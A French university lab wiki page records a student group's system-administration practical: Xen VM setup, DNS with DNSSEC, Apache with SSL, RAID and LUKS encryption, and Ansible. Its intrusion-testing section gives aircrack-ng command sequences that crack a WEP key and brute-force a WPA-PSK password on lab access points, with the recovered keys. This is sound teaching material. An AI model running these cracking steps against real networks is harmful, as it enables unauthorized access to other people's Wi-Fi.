TP sysres IMA5 2021/2022 G4 : Différence entre versions

De Wiki d'activités IMA
(Création de la machine virtuelle)
(Création de la machine virtuelle)
 
(48 révisions intermédiaires par 3 utilisateurs non affichées)
Ligne 4 : Ligne 4 :
  
 
==Création de la machine virtuelle==
 
==Création de la machine virtuelle==
 +
On se connecte d'abord à la machine virtuelle capbreton avec la commande suivante:
 +
  ssh root@capbreton
 +
 +
Ensuite on inclut le proxy de polytech lille dans nos variable d'environnement avec la commande suivante:
 +
  export http_proxy=http://proxy.plil.fr:3128
  
 
Commande pour la création de la machine virtuelle:
 
Commande pour la création de la machine virtuelle:
  root@capbreton:~$ xen-create-image --hostname=Karmeliet --ip=193.48.57.179 --gateway=193.48.57.187 --netmask=255.255.255.240 --dir=/usr/local/xen --password=glopglopglop --dist=buster
+
  root@capbreton:~$ xen-create-image --hostname=Karmeliet --ip=193.48.57.179 --gateway=193.48.57.187 --netmask=255.255.255.240 --dir=/usr/local/xen --password=glopglopglop --dist=bullseye
  
 
On créé 2 LV de 10 Go pour les allouer plus tard mais pour cela nous devons d'abord voir quel volume groupe choisir (on choisit celui qui dispose du plus grand espace).
 
On créé 2 LV de 10 Go pour les allouer plus tard mais pour cela nous devons d'abord voir quel volume groupe choisir (on choisit celui qui dispose du plus grand espace).
Ligne 45 : Ligne 50 :
  
 
  root@capbreton:~$ vim /etc/xen/Karmeliet.cfg
 
  root@capbreton:~$ vim /etc/xen/Karmeliet.cfg
  Disk device(s).
+
  #Disk device(s).
 
  #
 
  #
 
  root        = '/dev/xvda2 ro'
 
  root        = '/dev/xvda2 ro'
Ligne 54 : Ligne 59 :
 
                   'phy:/dev/storage/Karmeliet2,xvda4,w'
 
                   'phy:/dev/storage/Karmeliet2,xvda4,w'
 
               ]
 
               ]
  Networking
+
  #Networking
 
  #
 
  #
 
  vif        = [ 'ip=193.48.57.179 ,mac=00:16:3E:5E:59:17 ,bridge=IMA5sc' ]
 
  vif        = [ 'ip=193.48.57.179 ,mac=00:16:3E:5E:59:17 ,bridge=IMA5sc' ]
Ligne 87 : Ligne 92 :
  
 
  root@Karmeliet:~$ lsblk
 
  root@Karmeliet:~$ lsblk
 
 
  NAME  MAJ:MIN RM  SIZE RO TYPE MOUNTPOINT
 
  NAME  MAJ:MIN RM  SIZE RO TYPE MOUNTPOINT
 
  xvda1 202:1    0  512M  0 disk [SWAP]
 
  xvda1 202:1    0  512M  0 disk [SWAP]
Ligne 93 : Ligne 97 :
 
  xvda3 202:3    0  10G  0 disk /home
 
  xvda3 202:3    0  10G  0 disk /home
 
  xvda4 202:4    0  10G  0 disk /var
 
  xvda4 202:4    0  10G  0 disk /var
 +
 +
Pour accéder à notre VM :
 +
 +
root@capbreton:~# xen console Karmeliet
 +
 +
=Services Internet=
 +
==Connexion ssh==
 +
 +
Pour se connecter en ssh, nous allons dans le fichier se trouvant au chemin :
 +
/etc/ssh/sshd_config
 +
 +
On décommente Port et PermitRootLogin et on leur donne la valeur :
 +
 +
Port 22222
 +
PermitRootLogin Yes
 +
 +
On a plus qu'à se connecter via ssh  :
 +
ssh root@193.48.57.179 -p 22222
 +
 +
 +
==DNS==
 +
 +
On réserve un nom de domaine sur ghandi.net, en l'occurrence le notre sera :
 +
karmeliet.site
 +
 +
On rentre notre adresse IPv4 dans le "Glue records"
 +
193.48.57.179
 +
 +
On ajoute nos DNS primaire et secondaire pour obtenir un nom de serveur
 +
ns1.karmeliet.site (primaire)
 +
ns6.gandi.net (secondaire)
 +
 +
===Configuration de bind9===
 +
 +
On installe les paquets
 +
apt install bind9
 +
 +
On change le fichier /etc/resolv.conf
 +
nameserver 127.0.0.1
 +
 +
On va configurer notre DNS primaire dans le fichier de configuration /etc/bind/named.conf.local
 +
De plus, on autorise le transfert d'information avec le DNS Secondaire (217.70.177.40)
 +
zone "karmeliet.site" {
 +
  type master;
 +
  file "/etc/bind/db.karmeliet.site";
 +
  allow-transfer { 217.70.177.40; };
 +
};
 +
 +
On créé un fichier db.karmeliet.site ayant le même template que db.local
 +
 +
;
 +
; BIND data file for local loopback interface
 +
;
 +
$TTL    604800
 +
@      IN      SOA      ns1.karmeliet.site.  postmaster.karmeliet.site(
 +
                              4        ; Serial
 +
                        604800        ; Refresh
 +
                          86400        ; Retry
 +
                        2419200        ; Expire
 +
                        604800 )      ; Negative Cache TTL
 +
;
 +
@      IN      NS      ns1.karmeliet.site.
 +
@      IN      NS      ns6.gandi.net.
 +
ns1    IN      A      193.48.57.179
 +
 +
==Sécurisation de serveur DNS par DNSSEC==
 +
 +
On ajoute dans le fichier named.conf.options
 +
dnssec-enable yes;
 +
 +
On va dans le dossier bind
 +
/etc/bind
 +
 +
On crée le dossier karmeliet.site.dnssec
 +
mkdir karmeliet.site.dnssec
 +
 +
On crée la clef asymétrique de signature de clefs de zone
 +
dnssec-keygen -a RSASHA1 -b 2048 -f KSK -n ZONE karmeliet.site
 +
 +
On crée la clef asymétrique de la zone pour signer les enregistrements
 +
dnssec-keygen -a RSASHA1 -b 1024 -n ZONE karmeliet.site
 +
 +
On renomme les deux paires de clefs avec le nom de notre zone en ajoutant -ksk et -zsk pour les clefs correspondantes.
 +
 +
On inclue les clefs publiques dans votre fichier de zone db.karmeliet.site et on incrémente le numéro de version de la zone
 +
$include /etc/bind/karmeliet.site.dnssec/karmeliet.site-ksk.key
 +
$include /etc/bind/karmeliet.site.dnssec/karmeliet.site-zsk.key
 +
 +
On signe les enregistrements de la zone
 +
dnssec-signzone -o karmeliet.site -k karmeliet.site-ksk ../db.karmeliet.site karmeliet.site-zsk
 +
 +
On modifie le fichier named.conf.local pour utiliser la zone signée de suffixe db.karmeliet.site.signed;
 +
 +
Il ne reste plus qu’à communiquer la partie publique de la KSK dans gandi.net
 +
 +
==Certificat==
 +
 +
Dans Gandi.net, on achète notre certificat en allant sur
 +
SSL certificate
 +
 +
On nous demande une "Certificate Request" CSR que l'on a grâce à la commande
 +
openssl req -nodes -newkey rsa:2048 -sha256 -keyout myserver.key -out server.csr
 +
 +
On remplit les différentes informations que l'on nous demande et on récupère notre csr dans server.csr à la fin de la commande.
 +
 +
On va sur la page de notre certificat pour gandi et on copie colle comme ceci dans notre fichier db.karmeliet.site pour que notre certficat soit valide
 +
 +
;
 +
; BIND data file for local loopback interface
 +
;
 +
$TTL    604800
 +
@      IN      SOA      ns1.karmeliet.site.  postmaster.karmeliet.site(
 +
                              4        ; Serial
 +
                        604800        ; Refresh
 +
                          86400        ; Retry
 +
                        2419200        ; Expire
 +
                        604800 )      ; Negative Cache TTL
 +
;
 +
@      IN      NS      ns1.karmeliet.site.
 +
@      IN      NS      ns6.gandi.net.
 +
ns1    IN      A      193.48.57.179
 +
www IN A 193.48.57.179
 +
_D83578361950694C7CBA2CF57DDA0CE7.karmeliet.site. 10800 IN CNAME BEF099045291643A940FA49D11E8FB10.4CCF28E6A180333498A3F008A8B6CB32.0e21313c9c6df2403142.sectigo.com.
 +
 +
==Serveur apache==
 +
 +
On installe un serveur apache pour vérifier que tout fonctionne
 +
apt install apache2
 +
 +
Pour installer apache correctement on a suivi les instructions sur ce site
 +
https://ubuntu.com/tutorials/install-and-configure-apache#1-overview
 +
 +
Puis on a modifié notre fichier de configuration apache se trouvant dans /etc/apache2/sites-available
 +
pour y mettre notre certificat :
 +
 +
<VirtualHost *:80>
 +
        ServerAdmin webmaster@localhost
 +
        DocumentRoot /var/www/karmeliet.site
 +
        ServerName karmeliet.site
 +
        ServerAlias www.karmeliet.site
 +
        Redirect permanent / https://karmeliet.site/
 +
 +
</VirtualHost>
 +
 +
<VirtualHost *:443>
 +
        ServerAdmin webmaster@localhost
 +
        DocumentRoot /var/www/karmeliet.site
 +
        ServerName karmeliet.site
 +
        ServerAlias www.karmeliet.site
 +
 +
 +
        SSLEngine on
 +
        SSLCertificateFile /root/karmeliet.site.crt
 +
        SSLCertificateKeyFile /root/karmeliet.site.key
 +
 +
        ErrorLog ${APACHE_LOG_DIR}/error.log
 +
        CustomLog ${APACHE_LOG_DIR}/access.log combined
 +
 +
</VirtualHost>
  
 
= Tests d'intrusions =
 
= Tests d'intrusions =
Ligne 124 : Ligne 287 :
 
  KEY FOUND! [ 55:55:55:55:5A:BC:11:CB:A4:44:44:44:44 ]  
 
  KEY FOUND! [ 55:55:55:55:5A:BC:11:CB:A4:44:44:44:44 ]  
 
  Decrypted correctly: 100%
 
  Decrypted correctly: 100%
 +
 +
===5.3  Cassage de mot de passe WPA-PSK par force brute ===
 +
 +
Comme pour le cassage de la clé WEP, on utilise aircrack-ng:
 +
 +
airmon-ng
 +
 +
On récupère le nom de notre interface qui est wlan0mon puis on le lance en mode moniteur sur le channel 7:
 +
 +
airmon-ng start wlan0mon 4
 +
 +
Il nous faut un point d'accès pour pouvoir casser une clé WPA en récupérant son BSSID:
 +
 +
airodump-ng wlan0mon
 +
 +
On choisit kracotte11 avec un BSSID 44:AD:D9:5F:87:0A, on récupère ce qu'on appelle "handshake" et on le sauvegarde dans un fichier sauv:
 +
 +
airodump-ng -c 4 --bssid 44:AD:D9:5F:87:0A -w sauv wlan0mon
 +
 +
On peut commencer le crackage:
 +
 +
aircrack-ng sauv-01.cap -w dico.txt
 +
 +
On obtiens après quelques heures le résultat :
 +
 +
KEY FOUND! [ 59911999 ]
 +
 +
Master Key : EF A3 6F 02 E7 F1 DF 01 62 03 92 87 81 ED 99 6D
 +
              25 28 7D D6 54 FC 29 41 5D BD E9 02 26 E7 F0 58
 +
 +
=Réalisation=
 +
 +
==Sécurisation de données==
 +
 +
Nous créons trois partitions LVM de 1Go dans le groupe de volume storage avec comme noms celui de notre serveur
 +
lvcreate -L1G -n karmeliet.site-raid1 storage
 +
lvcreate -L1G -n karmeliet.site-raid2 storage
 +
lvcreate -L1G -n karmeliet.site-raid3 storage
 +
 +
Nous ajoutons les partitions à notre fichier de configuration qui se trouve dans /etc/xen/Karmeliet.cfg
 +
'phy:/dev/storage/karmeliet.site-raid1,xvdb1,w',
 +
'phy:/dev/storage/karmeliet.site-raid2,xvdb2,w',
 +
'phy:/dev/storage/karmeliet.site-raid3,xvdb3,w'
 +
 +
On éteint puis relance la VM et on crée la partition Raid
 +
mdadm --create /dev/md0 --level=5 --raid-devices=3 /dev/xvdb1 /dev/xvdb2 /dev/xvdb3
 +
 +
On formate la partition en ext4
 +
mkfs.ext4 /dev/md0
 +
 +
On ajoute au fichier /etc/fstab la partition formaté /dev/md0 pour qu'il soit monté durant le démarrage de la VM
 +
/dev/md0 /media/raid ext4 defaults 0 1
 +
mount -a
 +
 +
==Chiffrement de données==
 +
 +
On installe avec apt cryptsetup
 +
apt install lvm2 cryptsetup
 +
 +
On regarde où est notre clé usb grâce à la commande lsblk, dans notre cas elle est dans sdb
 +
 +
On la formatte
 +
mkfs.ext4 /dev/sdb
 +
 +
On initialise notre clé USB avec l'option luksFormat et on choisis un mot de passe
 +
cryptsetup luksFormat /dev/sdb
 +
 +
On ouvre notre partition chiffrée avec luksOpen (le nom du volume sera karmeliet_crypted) et on la formatte :
 +
cryptsetup luksOpen /dev/sdc karmeliet_crypted
 +
mkfs.ext4 /dev/mapper/karmeliet_crypted
 +
 +
On monte la partition
 +
mkdir /mnt/karmelietCrypte
 +
mount -t ext4 /dev/mapper/karmeliet_crypted /mnt/karmelietCrypte/
 +
 +
On y ajoute un fichier texte hello dans lequel on  écrit "cc" puis on démonte la clé et on ferme le volume chiffré
 +
umount /mnt/karmelietCrypte
 +
cryptsetup luksClose karmeliet_crypted
 +
 +
On a plus qu'a aller tester notre clé USB en la montant sur l'ordinateur d'un autre binôme et cela nous demande bien de rentrer un mot de passe notre clé est chiffré.
 +
 +
=Ferme de serveurs Web=
 +
 +
==Ansible==
 +
 +
Se connecter à notre VM pra-04
 +
xen console /etc/xen/pra-04.cfg
 +
 +
On modifie le fichier /etc/network/interfaces
 +
iface eth0 inet static
 +
address 172.26.145.104
 +
gateway 172.26.145.254
 +
netmask 255.255.255.0
 +
 +
On ping sur notre zabeth pour savoir s'il communique bien ensemble
 +
ping 172.26.145.58
 +
 +
On clone le git sur la zabeth puis on travaille dans le dossier
 +
git clone https://github.com/thomas-maurice/polytech-asr-lab.git
 +
 +
On génère sur la zabeth une clé ssh
 +
ssh-keygen -t ed25519 -f ~/.ssh/id_ed25519 -C "selim.bensalem@polytech-lille.net" -P ''
 +
 +
Sur la zabeth, on rajoute au fichier authorized_keys la clé ssh précédemment créée et sur la VM, on crée un fichier authorized_keys avec la même clé
 +
 +
On ajoute un role ssh_key
 +
- name: "Deploy ssh_keys"
 +
  template:
 +
    src: authorized_keys.j2
 +
    dest: /root/.ssh/authorized_keys
 +
    owner: root
 +
    group: root
 +
    mode: '0600
 +
 +
On crée une template pour copier tous les clés dans authorized_keys de la VM
 +
  % for ssh_key in ssh_keys%}
 +
{{ssh_key["key"]}}
 +
{% endfor %}
 +
 +
On lance ansible
 +
ansible-playbook -v -i inventory polytech.yaml
 +
 +
==Consult==
 +
 +
on installe consult et un container docker
 +
---
 +
- name: "Create group"
 +
  group:
 +
    name: consul
 +
    gid: 666
 +
- name: "Create user"
 +
  user:
 +
    name: consul
 +
    group: consul
 +
    uid: 666
 +
- name: "Create /etc/consul"
 +
  file:
 +
    path: /etc/consul
 +
    state: directory
 +
    owner: consul
 +
    group: consul
 +
- name: "Create /var/lib/consul"
 +
  file:
 +
    path: /var/lib/consul
 +
    state: directory
 +
    owner: consul
 +
    group: consul
 +
- name: "Client json"
 +
  copy:
 +
    src: consul.json
 +
    dest: /etc/consul/consul.json
 +
    owner: consul
 +
    group: consul
 +
- name: "Start consul with container"
 +
  docker_container:
 +
    name: dockerConsul
 +
    image: bitnami/consul
 +
    volumes:
 +
      - /etc/consul
 +
    network_mode: host
 +
    user: consul
 +
    groups:
 +
      - consul

Version actuelle datée du 18 novembre 2022 à 14:02

Cablage Réseau

Machine Virtuelle

Création de la machine virtuelle

On se connecte d'abord à la machine virtuelle capbreton avec la commande suivante:

 ssh root@capbreton

Ensuite on inclut le proxy de polytech lille dans nos variable d'environnement avec la commande suivante:

 export http_proxy=http://proxy.plil.fr:3128

Commande pour la création de la machine virtuelle:

root@capbreton:~$ xen-create-image --hostname=Karmeliet --ip=193.48.57.179 --gateway=193.48.57.187 --netmask=255.255.255.240 --dir=/usr/local/xen --password=glopglopglop --dist=bullseye

On créé 2 LV de 10 Go pour les allouer plus tard mais pour cela nous devons d'abord voir quel volume groupe choisir (on choisit celui qui dispose du plus grand espace).

root@capbreton:~# vgdisplay
 --- Volume group ---
 VG Name               storage
 System ID             
 Format                lvm2
 Metadata Areas        2
 Metadata Sequence No  152
 VG Access             read/write
 VG Status             resizable
 MAX LV                0
 Cur LV                26
 Open LV               16
 Max PV                0
 Cur PV                2
 Act PV                2
 VG Size               <5.46 TiB
 PE Size               4.00 MiB
 Total PE              1430526
 Alloc PE / Size       50176 / 196.00 GiB
 Free  PE / Size       1380350 / <5.27 TiB
 VG UUID               eusQhE-lOxZ-cQqQ-uFxt-dYjG-LuwI-HL0flc


root@capbreton:~$ lvcreate -L10G -n Karmeliet1 storage
root@capbreton:~$ lvcreate -L10G -n Karmeliet2 storage

Il est nécessaire de les formater au format ext4 :

root@capbreton:~$ mkfs.ext4 /dev/storage/Karmeliet1
root@capbreton:~$ mkfs.ext4 /dev/storage/Karmeliet2

Dans notre fichier /etc/xen/Karmeliet.cfg, on doit indiquer que notre VM doit possèder les volumes logiques que l'on a créé auparavant (Karmeliet1 et Karmeliet2). Il est, également, nécessaire d'indiquer le bridge IMA5sc.

root@capbreton:~$ vim /etc/xen/Karmeliet.cfg
#Disk device(s).
#
root        = '/dev/xvda2 ro'
disk        = [
                 'file:/usr/local/xen/domains/Karmeliet/disk.img,xvda2,w',
                 'file:/usr/local/xen/domains/Karmeliet/swap.img,xvda1,w',
                 'phy:/dev/storage/Karmeliet1,xvda3,w',
                 'phy:/dev/storage/Karmeliet2,xvda4,w'
             ]
#Networking
#
vif         = [ 'ip=193.48.57.179 ,mac=00:16:3E:5E:59:17 ,bridge=IMA5sc' ]


On lance la machine virtuelle :

root@capbreton:~$ xl create -c /etc/xen/Karmeliet.cfg


On doit créer xvda3 et xvda4 pour nos répertoires var et home:

root@Karmeliet:~$ mkdir /mnt/xvda3
root@Karmeliet:~$ mkdir /mnt/xvda4
root@Karmeliet:~$ mount /dev/xvda3 /mnt/xvda3
root@Karmeliet:~$ mount /dev/xvda4 /mnt/xvda4

Le répertoire var doit être placé dans le disque xvda4 :

root@Karmeliet:~$ mv /var/* /mnt/xvda4

Dans le fichier /etc/fstab, il est nécesaire d'ajouter les lignes ci-dessous pour pouvoir monter les disques par la suite:

root@Karmeliet:~$ /dev/xvda3 /home ext4 defaults 0 2
root@Karmeliet:~$ /dev/xvda4 /var ext4 defaults 0 2

La commande suivant permet de monter les disques :

root@Karmeliet:~$ mount -a

Pour vérifier que le montage s'est faite correctement, on peut voir avec la commande lsblk si les partitions sont bien visibles :

root@Karmeliet:~$ lsblk
NAME  MAJ:MIN RM  SIZE RO TYPE MOUNTPOINT
xvda1 202:1    0  512M  0 disk [SWAP]
xvda2 202:2    0    4G  0 disk /
xvda3 202:3    0   10G  0 disk /home
xvda4 202:4    0   10G  0 disk /var

Pour accéder à notre VM :

root@capbreton:~# xen console Karmeliet

Services Internet

Connexion ssh

Pour se connecter en ssh, nous allons dans le fichier se trouvant au chemin :

/etc/ssh/sshd_config

On décommente Port et PermitRootLogin et on leur donne la valeur :

Port 22222
PermitRootLogin Yes

On a plus qu'à se connecter via ssh  :

ssh root@193.48.57.179 -p 22222


DNS

On réserve un nom de domaine sur ghandi.net, en l'occurrence le notre sera :

karmeliet.site

On rentre notre adresse IPv4 dans le "Glue records"

193.48.57.179

On ajoute nos DNS primaire et secondaire pour obtenir un nom de serveur

ns1.karmeliet.site (primaire)
ns6.gandi.net (secondaire)

Configuration de bind9

On installe les paquets

apt install bind9

On change le fichier /etc/resolv.conf

nameserver 127.0.0.1

On va configurer notre DNS primaire dans le fichier de configuration /etc/bind/named.conf.local De plus, on autorise le transfert d'information avec le DNS Secondaire (217.70.177.40)

zone "karmeliet.site" {
  type master;
  file "/etc/bind/db.karmeliet.site";
  allow-transfer { 217.70.177.40; };
};

On créé un fichier db.karmeliet.site ayant le même template que db.local

;
; BIND data file for local loopback interface
;
$TTL    604800
@       IN      SOA      ns1.karmeliet.site.  postmaster.karmeliet.site(
                             4         ; Serial
                        604800         ; Refresh
                         86400         ; Retry
                       2419200         ; Expire
                        604800 )       ; Negative Cache TTL
;
@       IN      NS      ns1.karmeliet.site.
@       IN      NS      ns6.gandi.net.
ns1     IN      A       193.48.57.179

Sécurisation de serveur DNS par DNSSEC

On ajoute dans le fichier named.conf.options

dnssec-enable yes; 

On va dans le dossier bind

/etc/bind

On crée le dossier karmeliet.site.dnssec

mkdir karmeliet.site.dnssec

On crée la clef asymétrique de signature de clefs de zone

dnssec-keygen -a RSASHA1 -b 2048 -f KSK -n ZONE karmeliet.site

On crée la clef asymétrique de la zone pour signer les enregistrements

dnssec-keygen -a RSASHA1 -b 1024 -n ZONE karmeliet.site

On renomme les deux paires de clefs avec le nom de notre zone en ajoutant -ksk et -zsk pour les clefs correspondantes.

On inclue les clefs publiques dans votre fichier de zone db.karmeliet.site et on incrémente le numéro de version de la zone

$include /etc/bind/karmeliet.site.dnssec/karmeliet.site-ksk.key
$include /etc/bind/karmeliet.site.dnssec/karmeliet.site-zsk.key

On signe les enregistrements de la zone

dnssec-signzone -o karmeliet.site -k karmeliet.site-ksk ../db.karmeliet.site karmeliet.site-zsk

On modifie le fichier named.conf.local pour utiliser la zone signée de suffixe db.karmeliet.site.signed;

Il ne reste plus qu’à communiquer la partie publique de la KSK dans gandi.net

Certificat

Dans Gandi.net, on achète notre certificat en allant sur

SSL certificate

On nous demande une "Certificate Request" CSR que l'on a grâce à la commande

openssl req -nodes -newkey rsa:2048 -sha256 -keyout myserver.key -out server.csr

On remplit les différentes informations que l'on nous demande et on récupère notre csr dans server.csr à la fin de la commande.

On va sur la page de notre certificat pour gandi et on copie colle comme ceci dans notre fichier db.karmeliet.site pour que notre certficat soit valide

;
; BIND data file for local loopback interface
;
$TTL    604800
@       IN      SOA      ns1.karmeliet.site.  postmaster.karmeliet.site(
                             4         ; Serial
                        604800         ; Refresh
                         86400         ; Retry
                       2419200         ; Expire
                        604800 )       ; Negative Cache TTL
;
@       IN      NS      ns1.karmeliet.site.
@       IN      NS      ns6.gandi.net.
ns1     IN      A       193.48.57.179
www	IN	A	193.48.57.179
_D83578361950694C7CBA2CF57DDA0CE7.karmeliet.site. 10800 IN CNAME BEF099045291643A940FA49D11E8FB10.4CCF28E6A180333498A3F008A8B6CB32.0e21313c9c6df2403142.sectigo.com.

Serveur apache

On installe un serveur apache pour vérifier que tout fonctionne

apt install apache2

Pour installer apache correctement on a suivi les instructions sur ce site

https://ubuntu.com/tutorials/install-and-configure-apache#1-overview

Puis on a modifié notre fichier de configuration apache se trouvant dans /etc/apache2/sites-available pour y mettre notre certificat :

<VirtualHost *:80>
        ServerAdmin webmaster@localhost
        DocumentRoot /var/www/karmeliet.site
        ServerName karmeliet.site
        ServerAlias www.karmeliet.site
        Redirect permanent / https://karmeliet.site/

</VirtualHost> 

<VirtualHost *:443>
        ServerAdmin webmaster@localhost
        DocumentRoot /var/www/karmeliet.site
        ServerName karmeliet.site
        ServerAlias www.karmeliet.site 


        SSLEngine on
        SSLCertificateFile /root/karmeliet.site.crt
        SSLCertificateKeyFile /root/karmeliet.site.key

        ErrorLog ${APACHE_LOG_DIR}/error.log
        CustomLog ${APACHE_LOG_DIR}/access.log combined

</VirtualHost>

Tests d'intrusions

5.2 Cassage de clef WEP d’un point d’accès WiFi

Cette commande sert à récupérer le nom de l'interface réseau:

airmon-ng

Notre interface réseau s'appelle "wlan0mon" (renommé automatiquement parce que celui de base était trop long)

On démarre l'interface sur le channel 3 :

airmon-ng start wlan0mon 3

On récupère le BSSID du point d'accès sur lequel on veut récupérer la clé WEP

airodump-ng wlan0mon 

On réalise un test d'injection sur cracotte10

aireplay-ng -9 -e cracotte10 -a 04:DA:D2:9C:50:59 wlan0mon

On récupère les VI générés par le point d'accès pour les stocker dans output :

airodump-ng -c 3 --bssid 04:DA:D2:9C:50:59 -w output wlan0mon

On effectue de fausses authentifications

aireplay-ng -1 0 -e cracotte10 -a 04:DA:D2:9C:50:59 -h 40:A5:EF:D2:11:67 wlan0mon

La clef WEP est alors décriptable :

aircrack-ng -b 04:DA:D2:9C:50:59 output*.cap

Le résultat obtenu est le suivant :

KEY FOUND! [ 55:55:55:55:5A:BC:11:CB:A4:44:44:44:44 ] 
Decrypted correctly: 100%

5.3 Cassage de mot de passe WPA-PSK par force brute

Comme pour le cassage de la clé WEP, on utilise aircrack-ng:

airmon-ng

On récupère le nom de notre interface qui est wlan0mon puis on le lance en mode moniteur sur le channel 7:

airmon-ng start wlan0mon 4

Il nous faut un point d'accès pour pouvoir casser une clé WPA en récupérant son BSSID:

airodump-ng wlan0mon

On choisit kracotte11 avec un BSSID 44:AD:D9:5F:87:0A, on récupère ce qu'on appelle "handshake" et on le sauvegarde dans un fichier sauv:

airodump-ng -c 4 --bssid 44:AD:D9:5F:87:0A -w sauv wlan0mon

On peut commencer le crackage:

aircrack-ng sauv-01.cap -w dico.txt

On obtiens après quelques heures le résultat :

KEY FOUND! [ 59911999 ]
Master Key : EF A3 6F 02 E7 F1 DF 01 62 03 92 87 81 ED 99 6D 
             25 28 7D D6 54 FC 29 41 5D BD E9 02 26 E7 F0 58

Réalisation

Sécurisation de données

Nous créons trois partitions LVM de 1Go dans le groupe de volume storage avec comme noms celui de notre serveur

lvcreate -L1G -n karmeliet.site-raid1 storage
lvcreate -L1G -n karmeliet.site-raid2 storage
lvcreate -L1G -n karmeliet.site-raid3 storage

Nous ajoutons les partitions à notre fichier de configuration qui se trouve dans /etc/xen/Karmeliet.cfg

'phy:/dev/storage/karmeliet.site-raid1,xvdb1,w',
'phy:/dev/storage/karmeliet.site-raid2,xvdb2,w',
'phy:/dev/storage/karmeliet.site-raid3,xvdb3,w'

On éteint puis relance la VM et on crée la partition Raid

mdadm --create /dev/md0 --level=5 --raid-devices=3 /dev/xvdb1 /dev/xvdb2 /dev/xvdb3

On formate la partition en ext4

mkfs.ext4 /dev/md0

On ajoute au fichier /etc/fstab la partition formaté /dev/md0 pour qu'il soit monté durant le démarrage de la VM

/dev/md0 /media/raid ext4 defaults 0 1
mount -a

Chiffrement de données

On installe avec apt cryptsetup

apt install lvm2 cryptsetup

On regarde où est notre clé usb grâce à la commande lsblk, dans notre cas elle est dans sdb

On la formatte

mkfs.ext4 /dev/sdb

On initialise notre clé USB avec l'option luksFormat et on choisis un mot de passe

cryptsetup luksFormat /dev/sdb

On ouvre notre partition chiffrée avec luksOpen (le nom du volume sera karmeliet_crypted) et on la formatte :

cryptsetup luksOpen /dev/sdc karmeliet_crypted
mkfs.ext4 /dev/mapper/karmeliet_crypted

On monte la partition

mkdir /mnt/karmelietCrypte
mount -t ext4 /dev/mapper/karmeliet_crypted /mnt/karmelietCrypte/ 

On y ajoute un fichier texte hello dans lequel on écrit "cc" puis on démonte la clé et on ferme le volume chiffré

umount /mnt/karmelietCrypte
cryptsetup luksClose karmeliet_crypted

On a plus qu'a aller tester notre clé USB en la montant sur l'ordinateur d'un autre binôme et cela nous demande bien de rentrer un mot de passe notre clé est chiffré.

Ferme de serveurs Web

Ansible

Se connecter à notre VM pra-04

xen console /etc/xen/pra-04.cfg

On modifie le fichier /etc/network/interfaces

iface eth0 inet static
address 172.26.145.104
gateway 172.26.145.254
netmask 255.255.255.0

On ping sur notre zabeth pour savoir s'il communique bien ensemble

ping 172.26.145.58

On clone le git sur la zabeth puis on travaille dans le dossier

git clone https://github.com/thomas-maurice/polytech-asr-lab.git

On génère sur la zabeth une clé ssh

ssh-keygen -t ed25519 -f ~/.ssh/id_ed25519 -C "selim.bensalem@polytech-lille.net" -P 

Sur la zabeth, on rajoute au fichier authorized_keys la clé ssh précédemment créée et sur la VM, on crée un fichier authorized_keys avec la même clé

On ajoute un role ssh_key

- name: "Deploy ssh_keys"
 template:
   src: authorized_keys.j2
   dest: /root/.ssh/authorized_keys
   owner: root
   group: root
   mode: '0600

On crée une template pour copier tous les clés dans authorized_keys de la VM

 % for ssh_key in ssh_keys%}
{{ssh_key["key"]}}
{% endfor %}

On lance ansible

ansible-playbook -v -i inventory polytech.yaml

Consult

on installe consult et un container docker

---
- name: "Create group"
  group:
    name: consul
    gid: 666
- name: "Create user"
  user:
    name: consul
    group: consul
    uid: 666
- name: "Create /etc/consul"
  file:
    path: /etc/consul
    state: directory
    owner: consul
    group: consul
- name: "Create /var/lib/consul"
  file:
    path: /var/lib/consul
    state: directory
    owner: consul
    group: consul
- name: "Client json"
  copy:
    src: consul.json
    dest: /etc/consul/consul.json
    owner: consul
    group: consul
- name: "Start consul with container"
  docker_container:
    name: dockerConsul
    image: bitnami/consul
    volumes:
      - /etc/consul
    network_mode: host
    user: consul
    groups:
      - consul